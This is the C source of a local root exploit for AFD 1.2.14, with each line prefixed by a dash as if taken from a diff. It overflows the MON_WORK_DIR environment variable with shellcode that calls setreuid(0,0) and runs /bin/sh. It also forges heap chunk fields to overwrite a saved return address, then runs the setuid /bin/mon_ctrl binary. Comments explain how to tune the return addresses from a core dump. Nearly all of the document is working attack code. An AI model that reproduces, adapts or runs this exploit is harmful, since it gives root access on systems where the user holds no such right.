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- /* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
- * (Bug found by Sacrine (sacrine@netric.org)
- * -----------------------------------------------------------------
- * usage: ./afd-expl [retloc] [ret]
- *
- * This exploit overwrites a saved return address on the stack,
- * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
- * probally not work for you...
- *
- * Just open the coredump, search the stack for 0x4207ac24,
- * and substract that address with 0x0c.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- char shellcode[] =
- "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
- "--netric--"
- "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
- "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
- "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
-
-
- int
- main(int argc, char *argv[])
- {
- char buffer[1135];
-
- unsigned int retloc = 0xbfffe360;
- unsigned int ret = 0x0806f020; /* &shellcode */
-
- if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
- if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);
-
- memset(buffer, 0x41, sizeof(buffer));
- memcpy(buffer, "MON_WORK_DIR=",13);
- memcpy(buffer+13, shellcode, strlen(shellcode));
-
- buffer[1117] = 0xff; /* prev_size */
- buffer[1118] = 0xff;
- buffer[1119] = 0xff;
- buffer[1120] = 0xff;
-
- buffer[1121] = 0xfc; /* size field */
- buffer[1122] = 0xff;
- buffer[1123] = 0xff;
- buffer[1124] = 0xff;
-
- buffer[1126] = (retloc & 0x000000ff); /* FD */
- buffer[1127] = (retloc & 0x0000ff00) >> 8;
- buffer[1128] = (retloc & 0x00ff0000) >> 16;
- buffer[1129] = (retloc & 0xff000000) >> 24;
-
- buffer[1130] = (ret & 0x000000ff); /* BK */
- buffer[1131] = (ret & 0x0000ff00) >> 8;
- buffer[1132] = (ret & 0x00ff0000) >> 16;
- buffer[1133] = (ret & 0xff000000) >> 24;
-
- buffer[1134] = 0x0;
- putenv(buffer);
-
- fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
- fprintf(stdout, "-----------------------------------------------------------------\n");
- fprintf(stdout, "Ret = 0x%08x\n", ret);
- fprintf(stdout, "Retloc = 0x%08x\n", retloc);
-
- execl("/bin/mon_ctrl", "mon_ctrl", NULL);
- return 0;
- }
-